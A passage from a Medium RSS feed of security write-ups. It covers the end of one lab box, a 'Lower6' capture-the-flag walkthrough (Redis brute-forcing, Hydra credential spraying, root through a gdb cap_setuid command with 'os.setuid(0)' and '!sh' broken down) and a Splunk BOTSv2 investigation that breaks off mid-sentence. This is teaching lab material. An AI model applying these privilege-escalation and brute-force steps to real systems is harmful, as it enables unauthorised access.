in, I quickly noticed something interesting — a <strong>password for another user named Remo</strong> was just sitting there in plain sight.</p><p>With that password in hand, I switched over and logged in as <strong>Remo</strong> on the box.</p><p>And just like that, we found our <strong>first flag</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*SUI1I_aHl3NhjlThMK7QhA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*EGWJyfvGXBlLmlCqZc-Iwg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/383/1*JUaimimupXbYNM804CApiQ.png" /></figure><h3><strong>Privilege Escalation</strong></h3><p>Now that I’m logged in as Remo, it’s time to run some <strong>basic enumeration</strong> to see what’s around and figure out if there’s a way to <strong>escalate privileges to root</strong>.</p><p>This usually means checking things like running processes, installed software, user permissions, and any interesting files or scripts that might give us a foothold.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*C9f36mz9SKOD1PYX9VwWQQ.png" /></figure><p>One interesting find came from running the env command, which shows the current environment variables. Sometimes, these variables can reveal useful information—like paths, user details, or even sensitive data tucked away in plain sight.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*_9rL79bUSybE63cLV0Facw.png" /></figure><p>While scanning through the environment variables, one in particular caught my eye — it was a <strong>base64-encoded string</strong> labeled (very helpfully) as <strong>rootKEY</strong>. That name alone was a big hint.</p><p>Naturally, I decoded it using base64 -d, and sure enough, it revealed what looked like a <strong>private SSH key</strong>.</p><p>After saving the key, setting the correct permissions with chmod 600, and giving it a try... I was <strong>logged in as root</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6MHBEm7_GOr6PbZ6qgs2Fg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*Yin7nbP0jFJ_drk0F2rnLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*gBIc1Tfct7lH406duabNnQ.png" /></figure><p>Just like that — we had full control of the box.</p><h3><strong>Lessons Learned</strong></h3><ul><li><strong>Always check the obvious.</strong><br> That “Amazing Team” section on the homepage might look like fluff, but it gave us valuable usernames.</li><li><strong>Web content can feed your tools.</strong><br> Using <strong>Cewl</strong> to build a targeted wordlist from the website saved time and made brute-forcing more effective than relying on huge generic lists.</li><li><strong>Don’t trust default behaviors.</strong><br> Just because Hydra found valid SSH credentials doesn’t mean a normal login will work. Observer required <strong>X11 forwarding</strong> (-Y) to establish a session—an unusual but effective defense.</li><li><strong>Enumeration pays off. Always.</strong><br> Running env isn’t always exciting, but in this case, it revealed a <strong>base64-encoded private key</strong>.</li><li><strong>Pay attention to environment configuration.</strong><br> Whether it’s SSH restrictions or exposed variables, configuration choices can either secure or expose a system — good intel for both attackers and defenders.</li><li><strong>Privilege escalation can be sneaky simple.</strong><br> No fancy exploits here — just a misplaced key in an environment variable. Sometimes, privilege escalation is less about complexity and more about poor hygiene.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6eb99186c7b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Can I Haz Root? :: Lower6]]></title>
            <link>https://cybergrover.medium.com/can-i-haz-root-lower6-447575bac583?source=rss-5e3def3ce45b------2</link>
            <guid isPermaLink="false">https://medium.com/p/447575bac583</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Cyber Grover ‍]]></dc:creator>
            <pubDate>Tue, 15 Jul 2025 16:24:23 GMT</pubDate>
            <atom:updated>2025-07-15T16:24:23.752Z</atom:updated>
            <content:encoded><![CDATA[<h3>Can I Haz Root? :: Lower6</h3><blockquote>In cybersecurity, theory lays the foundation — but real mastery comes through hands-on practice. This Medium series is crafted for aspiring ethical hackers and security professionals eager to build, break, and learn within a safe, controlled lab environment.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m1bKYQGz0TYQKiShnr6yJw.png" /></figure><h3><strong>Overview</strong></h3><p>Target Machine: Lower6</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*F1G4H6bnsAzGdUBnnuzM2g.png" /></figure><p>Difficulty: Easy</p><h3><strong>Enumeration</strong></h3><p>Before diving into deeper enumeration or exploitation, it’s essential to identify which systems are live on the network. While in our current setup we can clearly see the target IP (as shown in the image above), that won’t always be the case in real-world scenarios.</p><p>To perform basic host discovery, we use Nmap with the -sn flag, which conducts a ping scan—checking which hosts are up without scanning for open ports.</p><ul><li>Nmap command used to <strong>discover live hosts</strong> on a local network without performing a full port scan.</li><li>-sn: <strong>&quot;Ping Scan&quot;</strong> — This tells Nmap <strong>not to scan ports</strong>, and instead only check which hosts are <strong>up</strong> (i.e., reachable).</li><li>192.168.56.0/24: This specifies the <strong>target subnet</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*oYVeRuuwfv6vBk1a-o7DGQ.png" /></figure><h4>Basic Nmap Scan</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*vzv55DObO-Pb656mcST2TA.png" /></figure><h4>Full Nmap Scan</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*OX-ucVH7dIp9GW3T-9agDw.png" /></figure><p>As demonstrated by the basic Nmap scan, only the top 1000 TCP ports were scanned, which meant the Redis service running on port 6379 went undetected. This highlights why it’s best practice to start with a quick, basic scan to identify obvious targets, then follow up with a more comprehensive full scan in the background while you continue other enumeration tasks. Additionally, don’t overlook UDP scanning — although it can be significantly slower, it may be crucial when TCP scans don’t reveal enough information.</p><blockquote><strong>Note:</strong> Always make sure to take detailed notes throughout your penetration testing process. Keeping track of your findings, commands used, and observations is essential for effective analysis and reporting later on.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*lLneXnFe8EH5f2MMlj0NVg.png" /></figure><p>So far, our scans have revealed two open ports: <strong>port 22 (SSH)</strong> and <strong>port 6379 (Redis)</strong>. Typically, when multiple services are available, penetration testers tend to explore alternatives to SSH first — since SSH often requires valid credentials or more complex exploits. Given that, let’s shift our focus to <strong>Redis</strong> and explore why this service might present an interesting attack vector.</p><h4>What is Redis?</h4><p>Redis (short for <strong>Remote Dictionary Server</strong>) is an open-source, in-memory data structure store commonly used as a database, cache, and message broker. Known for its high performance and flexibility, Redis supports various data types like strings, hashes, lists, and sets.</p><p>In many applications, Redis acts as a fast, lightweight backend to store and retrieve data quickly. However, misconfigurations or lack of proper access controls can expose Redis instances to unauthorized access, making it an attractive target in penetration testing.</p><h4>Common Security Pitfalls in Redis</h4><ul><li><strong>No Authentication Enabled:</strong> By default, many Redis instances don’t require a password, allowing anyone who can reach the port to connect.</li><li><strong>Unsafe Commands Enabled:</strong> Some Redis commands can be abused by attackers to write files, execute code, or escalate privileges.</li><li><strong>Unauthenticated Access:</strong> Without proper network segmentation or firewall rules, Redis can be exposed to the internet or untrusted networks.</li></ul><h3><strong>Exploitation</strong></h3><h4>How to Interact with and Enumerate Redis</h4><p>To interact with Redis, you’ll first need the Redis CLI tools. On ParrotOS, you can install them with:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SGfmFrGt1Dn84FwddnR2RQ.png" /></figure><p>Once Redis is installed on your machine (or your attack box), you can attempt to connect to the target Redis instance using the redis-cli tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*HRa6-RdKJzWaFEnocuQiBA.png" /></figure><p>While attempting to run enumeration commands, you might encounter a message like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*7W6_ra3V_YvSPEBZ8SD2lQ.png" /></figure><p>This means the Redis server is configured to require a password before allowing access to most commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*H8gYa8mhJIAi00-es9AiOg.png" /></figure><p>If the Redis instance requires authentication and you don’t have valid credentials, Nmap offers a built-in brute-force script called redis-brute that can be used to attempt login using common passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*w1iNsT52AKMuPfA7m1233Q.png" /></figure><p>Using the redis-brute Nmap script, we were able to successfully identify the Redis password. With valid credentials in hand, we can now authenticate directly using the AUTH command within the Redis CLI</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*VZhirWwk1uR8hy5zYDbQ5g.png" /></figure><p>Once authenticated, we gain access to the Redis server and can begin running enumeration commands such as INFO, CONFIG GET, and KEYS * to explore stored data and assess potential misconfigurations or vulnerabilities.</p><h4>Basic Enumeration Commands</h4><ul><li>PING : Checks if the server is responsive. Expected response: PONG</li><li>INFO : Provides detailed information about the Redis server, including version, configuration, memory usage, and connected clients.</li><li>CONFIG GET : Retrieves Redis configuration settings</li><li>KEYS * : Lists all keys stored in the database (if accessible). Note that this can be slow on large datasets.</li><li>DBSIZE : Returns the number of keys stored in the current database.</li><li>CLIENT LIST : Lists connected clients and their details.</li></ul><h4>INFO Command</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*jbxFqHS5BZfZko52xboZ9Q.png" /></figure><h4>Keys * Command</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/341/1*jfUIzvlaVFqzC9JEfvLu5w.png" /></figure><h4>More Redis enumeration:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*IvUoX4ykWDdOgQZu3rfeZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*yP4xftMhICPVGFEk2vgM_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*fyMR61MDvkI7tv5oHZ_R1w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*VrN5hDoASVoMsEvK_rNy-A.png" /></figure><p>During post-authentication enumeration of Redis, we came across what appeared to be <strong>username:password pairs</strong> for five different users. Naturally, the first instinct was to test these credentials over <strong>SSH</strong> to see if any provided remote access.</p><p>However, that approach didn’t yield results. Why? Well — like a rookie move — I tested each pair manually, one by one, instead of automating the process through a proper brute-force method. This was both inefficient and potentially incomplete, especially if the usernames were correct but passwords mismatched — or vice versa.</p><p>Lesson learned: when you have a list of multiple credential pairs, especially during a pentest, it’s far more effective to use a tool like <strong>Hydra</strong> or <strong>Medusa</strong> to automate the login attempts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*_XSAMcFi0DpTvBjEShRVnA.png" /></figure><p>Finally, some sense kicked in. Instead of manually testing each credential pair, I created two simple files — one for usernames and one for passwords — and let <strong>Hydra</strong> do the heavy lifting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*QCoJ9_X2elabu6wkD_jZzw.png" /></figure><p>And — <strong>voilà!</strong> One of the pairs worked. SSH access granted.</p><p>This highlights an important lesson: when you have multiple potential credentials, <strong>automation saves time and catches what human error might miss</strong>. Tools like Hydra are essential in any pentester’s toolkit for these exact scenarios.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*KzBZORuCAcmjaXNkH_6KCQ.png" /></figure><h3><strong>Privilege Escalation</strong></h3><p>Now that we’ve successfully gained SSH access, it’s time to figure out <strong>where we are</strong> and <strong>what we’re working with</strong>. This stage is critical — before diving into privilege escalation or lateral movement, you need to understand the environment you’ve landed in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*MBSr0qt6Ok7K-RKsPDlG0g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*wuMD1tqN7C1ysJpi0udSxQ.png" /></figure><p>Upon connecting, it quickly became clear that the target system is <strong>minimalistic</strong> — key tools like sudo, wget, curl, and even python are absent. This limits the typical enumeration and exploitation techniques we often rely on.</p><p>Fortunately, there’s still a way forward: since SSH is available, we can use <strong>scp (secure copy)</strong> to transfer files from our local machine to the target. This allows us to upload essential scripts like <strong>LinPEAS</strong>, which is designed to automate privilege escalation enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*bmB-Ougd1yIDvcdAoksoPw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*g78z2lQfg8T_CBCc9hAyXw.png" /></figure><p>One of the standout features of LinPEAS is its <strong>legend</strong> — a clear, color-coded guide that helps you quickly interpret results and prioritize findings. Instead of sifting through pages of raw output, the legend highlights potential vulnerabilities, misconfigurations, and important notes in an easy-to-understand format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*v-KoTKVaLZP8w_vD7EjlDA.png" /></figure><p>During enumeration, you might come across files listed with <strong>capabilities</strong>, like these:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*3YXG-xtvr_4opZhkcqOLdw.png" /></figure><h4><strong>What does this mean?</strong></h4><p>Linux capabilities allow specific privileges to be granted to executables without giving them full root (superuser) access. This fine-grained permission model improves security by limiting the scope of what a program can do.</p><ul><li><strong>cap_net_raw=ep</strong> on /usr/bin/ping<br> This means the ping executable has the capability to send and receive raw network packets (required for pinging hosts), with <strong>Effective (e)</strong> and <strong>Permitted (p)</strong> flags set. It allows non-root users to run ping successfully.</li><li><strong>cap_setuid=ep</strong> on /usr/bin/gdb<br> This capability lets gdb (the GNU Debugger) change user IDs, which can be potentially dangerous if exploited, as it may allow privilege escalation.</li></ul><p>With that in mind, I consulted GTFObins and discovered the following.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*wV2MpyxOxWRN4A7OE_C7vw.png" /></figure><h4><strong>Why does this work?</strong></h4><p>GDB includes a Python interpreter, which you can use to run Python code with elevated privileges inside the debugger context. By calling os.setuid(0) in Python, you elevate your user ID to root, then drop into an interactive shell — all without needing symbol tables or attaching to processes.</p><h4>The Command Breakdown</h4><ul><li>-nx prevents loading user config files (clean environment).</li><li>-ex &#39;python import os; os.setuid(0)&#39; runs Python code inside gdb to set user ID to 0 (root).</li><li>-ex &#39;!sh&#39; drops into an interactive shell spawned by gdb.</li><li>-ex quit exits gdb once the shell is closed.</li></ul><h3><strong>Flags</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/339/1*KXgZ5sNfVQS8nZ8sROFqIQ.png" /></figure><h3>Lessons Learned</h3><ul><li>Basic Nmap Scans May Miss Services — Follow Up with Comprehensive Scans</li><li>Taking Meticulous Notes is Crucial</li><li>Prioritize Services with Known Weaknesses</li><li>Understand Services (Redis) and Its Security Pitfalls</li><li>Automate Credential Testing</li><li>Minimal Target Environments Require Adaptation</li><li>Linux Capabilities Can Be Exploited for Privilege Escalation</li></ul><h3>Final Thoughts</h3><p>This walkthrough underscores the importance of a structured and methodical approach in penetration testing. Starting with thorough reconnaissance using tools like <strong>Nmap</strong> ensures you identify live hosts and open ports effectively. Moving on to targeted enumeration — in this case, leveraging the <strong>Redis CLI</strong> and <strong>Nmap’s redis-brute script</strong> — helped uncover authentication details critical for progressing.</p><p>Automation tools such as <strong>Hydra</strong> proved invaluable when testing multiple credential pairs, highlighting how automation saves time and reduces human error. When faced with a minimal target environment lacking essential utilities, creative use of <strong>scp</strong> enabled transferring powerful enumeration scripts like <strong>LinPEAS</strong>, which dramatically simplified the privilege escalation discovery process.</p><p>Finally, understanding Linux capabilities and exploiting nuanced features — such as using <strong>GDB’s embedded Python interpreter</strong> with cap_setuid=ep — demonstrated how deep knowledge of system internals combined with practical tools can lead to a root shell even in restricted environments.</p><p>Stay curious, stay ethical, and happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=447575bac583" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploring Splunk for Investigative Analysis]]></title>
            <link>https://cybergrover.medium.com/exploring-splunk-for-investigative-analysis-3ac863e71a98?source=rss-5e3def3ce45b------2</link>
            <guid isPermaLink="false">https://medium.com/p/3ac863e71a98</guid>
            <category><![CDATA[splunk-administration]]></category>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Cyber Grover ‍]]></dc:creator>
            <pubDate>Fri, 05 Jan 2024 03:21:07 GMT</pubDate>
            <atom:updated>2024-01-05T03:21:07.980Z</atom:updated>
            <content:encoded><![CDATA[<h3>Comprehensive Splunk Series — Part 2</h3><h3>TryHackMe — Splunk 2 — Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*cjyOXB7kgcuKLIIGFJ70tw.png" /></figure><p>In the earlier article, as detailed in the <a href="https://medium.com/@cybergrover/comprehensive-splunk-series-part-1-installation-and-configuration-on-linux-with-forwarder-agent-d3fd0e84358f">previous post</a>, we established the installation of a Splunk Daemon on a Linux-based host. Today, our focus shifts towards delving deeper into Splunk Investigations.</p><p>To embark on this investigative journey, we require a dataset. I’ve imported a substantial dataset conveniently accessible via this <a href="https://github.com/splunk/botsv2">GitHub</a>. This dataset is generously available in the public domain, and we’ll harness its resources to acquire insights into the art of conducting investigations through Splunk.</p><p>Our mission will involve thoroughly examining this dataset to address the questions presented within the TryHackMe room, which can be accessed through this <a href="https://tryhackme.com/room/splunk2gcd5">link</a>.</p><p>Data Credits: The data included in this app was generated in August of 2017 by members of Splunk’s Security Specialist team — Dave Herrald, Ryan Kovar, Steve Brant, Jim Apger, John Stoner, Ken Westin, David Veuve, and James Brodsky.</p><h3>Installing Apps</h3><p>To effectively manipulate our data, it’s necessary to install several applications as outlined on the GitHub page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*rkcF7ZW7P3IMABNqrh3gVQ.png" /></figure><p>Below, you’ll find a brief example illustrating how to go about installing applications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tkd7u6qJz_aPGnd8EWv6yQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*rqaAkecZ7E7LwSImidmb6g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*hcN1snm-cHCLyEjTnDWlBA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*ER_RRYn1DrkHd6SMrYWwqQ.png" /></figure><h3>Exploring Splunk for Investigative Analysis</h3><h3>Metadata Command</h3><pre>| metadata type=sourcetypes index=botsv2 | eval firstTime=strftime(firstTime,&quot;%Y-%m-%d %H:%M:%S&quot;) | eval lastTime=strftime(lastTime,&quot;%Y-%m-%d %H:%M:%S&quot;) | eval recentTime=strftime(recentTime,&quot;%Y-%m-%d %H:%M:%S&quot;) | sort - totalCount</pre><p>The metadata command in Splunk retrieves metadata information about events in a specified index or set of events based on certain criteria. Metadata includes details about the structure, characteristics, and attributes of the events themselves, such as the fields present in the events, the sourcetype, host, source, and various statistical data related to the events.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jCOuDSFkz7xAYVIORjZtLw.png" /></figure><h3>TSTATS Command</h3><pre>| tstats count WHERE index=botsv2 by sourcetype</pre><p>This is a transforming command that stands for “TimeSeries STATSistics.” It provides statistical information about each indexed field. This command is highly efficient because it doesn’t require the raw data to be loaded but instead works on the indexed data, making it faster and more resource-efficient.</p><p>It is used to perform a statistical analysis of event counts based on the sourcetype field within the specified index, which is “botsv2” in this case.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iGyzpBiAYXx2iytXEE4wqw.png" /></figure><h3>100 Series Questions</h3><h3>Question 1</h3><blockquote>Amber Turing was hoping for Frothly to be acquired by a potential competitor which fell through, but visited their website to find contact information for their executive team. What is the website domain that she visited?</blockquote><p>To kick things off, we’ll initiate a search for the term “amber” within the “botsv2” index. This initial step significantly reduced our search results to approximately 56,000 events. However, this still doesn’t quite meet our requirements.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*BTzn6_uBarW-5ZacCBBy_Q.png" /></figure><p>Reviewing the first few events, we’ve identified that the sourcetype is consistently marked as &quot;PAN:traffic.&quot; To refine our search further, we can click on the different sourcetype and specifically choose &quot;PAN:traffic&quot; as the selected sourcetype.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*urs6Y8SyD4NKNwJlj2xhFQ.png" /></figure><p>Having identified Amber’s IP address as 10.0.2.101, our next step is to create a targeted search query using her IP address. Given our focus on HTTP traffic, we will refine our search to specifically include events with the sourcetype “stream:http.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*dU_yzUDbqMVVR1KXKjbDYQ.png" /></figure><pre>index=&quot;botsv2&quot; 10.0.20.101 sourcetype=&quot;stream:http&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*gUNudU7DPvk2zCCUUH_J_A.png" /></figure><p>Since we are focused on finding which website Amber visited, we will narrow our search using the ‘site’ interesting field.</p><pre>index=&quot;botsv2&quot; 10.0.2.101 sourcetype=&quot;stream:http&quot; | dedup site | table site | sort -count</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*cBfL5o1_v1L0gUaIzYj1Lw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*r8i1WegkkS4iz8hhxGKsZw.png" /></figure><h3>Question 2</h3><blockquote>Amber found the executive contact information and sent him an email. What image file displayed the executive’s contact information? Answer example: /path/image.ext</blockquote><p>Now that we’ve identified the website Amber visited, we can proceed to craft a more precise query to isolate and filter the HTTP traffic specifically related to that website.</p><pre>index=&quot;botsv2&quot; 10.0.2.101 sourcetype=&quot;stream:http&quot; www.berkbeer.com</pre><pre>index=&quot;botsv2&quot; 10.0.2.101 sourcetype=&quot;stream:http&quot; www.berkbeer.com | table uri_path</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*hWQsbULSRxQoDbr-s0FO3A.png" /></figure><h3>Question 3</h3><blockquote>What is the CEO’s name? Provide the first and last name.</blockquote><h3>Question 4</h3><blockquote>What is the CEO’s email address?</blockquote><p>Building upon the previous question, I searched Amber’s email address. To accomplish this, I devised a query to refine my search, focusing specifically on SMTP traffic.</p><pre>index=&quot;botsv2&quot; amber sourcetype=&quot;stream:smtp&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*3bFY9H0qr9FuCl0LTWTwYg.png" /></figure><p>I searched Amber’s email and came across an email exchange involving <a href="/service/mailto:mberk@berkbeer.com">mberk@berkbeer.com</a>. I incorporated this into the search, resulting in only one remaining event. After examining the ‘Content Body,’ it became evident that the CEO’s name is Martin Berk.</p><pre>index=&quot;botsv2&quot; amber sourcetype=&quot;stream:smtp&quot; aturing@froth.ly | spath sender | search sender=&quot;mberk@berkbeer.com&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*iR8gi5fzaDotZBeDp5Eq3A.png" /></figure><h3>Question 5</h3><blockquote>After the initial contact with the CEO, Amber contacted another employee at this competitor. What is that employee’s email address?</blockquote><p>Running this Search reveals 16 events, Upon reviewing the events we can see that the other employee Amber contacted was Heinz Bernhard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*i_qm3itfBGL5ILVeUr4PHg.png" /></figure><h3>Question 6</h3><blockquote>What is the name of the file attachment that Amber sent to a contact at the competitor?</blockquote><p>The query described above also provided the solution to this particular question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*56nvvUCb7W9ZZS17FcpuXA.png" /></figure><h3>Question 7</h3><blockquote>What is Amber’s personal email address?</blockquote><p>In an email exchange with Heinz Bernhard, he inquired about Amber’s personal email address. Amber promptly responded in the subsequent email, as evidenced by the email’s subject line.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*EW9KvD9MIAdoUoZO8-X3LQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*mgCb8FMfRo5oyf_NwSoDEA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*jY0yRJXyjXbsUt01sz9xNQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*5Qeqdz2f8KuDl8krA0Bjww.png" /></figure><p>After analyzing the content body, it appears to be encoded, likely in base64 format, corroborated by the presence of the “content_transfer_encoding.” Utilizing Cyberchef simplifies the process of decoding and extracting the information within.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*mWI-L53J_nrX2KRXajxBvQ.png" /></figure><h3>200 series questions</h3><h3>Question 1</h3><blockquote>What version of TOR Browser did Amber install to obfuscate her web browsing? Answer guidance: Numeric with one or more delimiter.</blockquote><p>The questions asks for version of TOR browser, Amber installed. Therefore, let’s begin by conducting a keyword search for ‘Amber’ and ‘TOR.’</p><pre>index=&quot;botsv2&quot; amber tor</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*UwnP1VeymiiAvgyoBVLFsQ.png" /></figure><p>This initial search yields over 300 events, which can be overwhelming to review comprehensively. To narrow down our search results, let’s incorporate another keyword. Since we know she installed the TOR browser, let’s include the keyword ‘install’ in our search.</p><pre>index=&quot;botsv2&quot; amber tor install</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tsCJwyS1VuTG1Gu3xm1n3g.png" /></figure><p>With the inclusion of the keyword ‘install,’ our search results have been reduced to just over 100, making it a more manageable number to review. Interestingly, the very first event contains the information we are seeking.</p><h3>Question 2</h3><blockquote>What is the public IPv4 address of the server running <a href="http://www.brewertalk.com/">www.brewertalk.com</a>?</blockquote><p>As we know that we are communicating with a web server operating on port 80, we will construct a search query incorporating keywords and the destination port number.</p><pre>index=&quot;botsv2&quot; sourcetype=&quot;stream:http&quot; www.brewertalk.com dest_port=80</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*vznmGCX_RbrtGTDOAW1pBw.png" /></figure><p>We can determine the IP address of the web server from the event.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*OxOMbyaKWtqneW51pz8kQA.png" /></figure><h3>Question 3</h3><blockquote>Provide the IP address of the system used to run a web vulnerability scan against <a href="http://www.brewertalk.com/">www.brewertalk.com</a>.</blockquote><p>Upon running the search and inspecting the src_ip field, it becomes evident that 45.77.65.211 is the IP address that is generating the highest volume of traffic directed towards the web server.</p><pre>index=&quot;botsv2&quot; www.brewertalk.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*7Z5IJrVY1gfn2Nn0_itx5Q.png" /></figure><p>While we can reasonably assume that 45.77.65.211 is the IP address responsible for scanning the web server, we should refine our search further to confirm this with greater certainty.</p><pre>index=&quot;botsv2&quot; www.brewertalk.com src_ip=&quot;45.77.65.211&quot;</pre><p>After examining the “form_data” field, we have attained a high level of confidence and certainty that 45.77.65.211 is indeed the IP address responsible for scanning the web server. Achieving absolute certainty is our goal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*mr5Mj2Drk_bbzAMUAPe-kA.png" /></figure><h3>Question 4</h3><blockquote>The IP address from Q#2 is also being used by a likely different piece of software to attack a URI path. What is the URI path? Answer guidance: Include the leading forward slash in your answer. Do not include the query string or other parts of the URI. Answer example: /phpinfo.php</blockquote><pre>index=&quot;botsv2&quot; src_ip=&quot;45.77.65.211&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*BrNmrllkUDssAwoPoUyPCA.png" /></figure><p>We have narrowed down our search to the attacker’s IP address and have explored the “uri_path” field. It is evident that “/member.php” is the URI path that receives the highest number of hits.</p><h3>Question 5</h3><blockquote>What SQL function is being abused on the URI path from the previous question?</blockquote><p>To provide an answer to this question, we will build upon the previous search query and continue our investigation.</p><pre>index=&quot;botsv2&quot; src_ip=&quot;45.77.65.211&quot; uri_path=&quot;/member.php&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*nGwmUebGXEHTqI6lSh5O4Q.png" /></figure><p>By examining the ‘form_data’ field, it becomes apparent that there is evidence of an SQL injection attack.</p><h3>Question 6</h3><blockquote>What was the value of the cookie that Kevin’s browser transmitted to the malicious URL as part of an XSS attack? Answer guidance: All digits. Not the cookie name or symbols like an equal sign.</blockquote><p>As usual, we’ll commence with a keyword search for ‘Kevin.’ We have successfully identified the full name of Kevin as Kevin Lagerfield.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*X-N7ENlzbhupiLSL18ZjTA.png" /></figure><p>With some understanding of XSS, we can refine our search by focusing on the value ‘document.cookie,’ which is often associated with XSS attacks involving the manipulation of cookies within a web application.</p><pre>index=&quot;botsv2&quot; sourcetype=&quot;stream:http&quot; document.cookie</pre><p>We have observed a ‘cookie’ value listed under the interesting fields, and we can include this in our search query to obtain the answer we are seeking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*0IirTmu6cbu35i9J1KZ6Fg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aJavT3eb8YyYGXS_VDshmw.png" /></figure><h3>Question 7</h3><blockquote>What brewertalk.com username was maliciously created by a spear phishing attack?</blockquote><p>We initiate our search by performing a keyword search for ‘brewertalk.com.’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*lLbTOxAfhV_dJ_ufysZkKg.png" /></figure><p>Recognizing that we are in search of a user creation event, I focus and filter the events by utilizing different sources and specifically opting for ‘xmlwineventlogs.’ This narrows down the search to 3 events.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*5nZJRl74fZTpCLYp9YEY-w.png" /></figure><p>Upon reviewing the second event, it becomes apparent that these attackers are employing subtle and 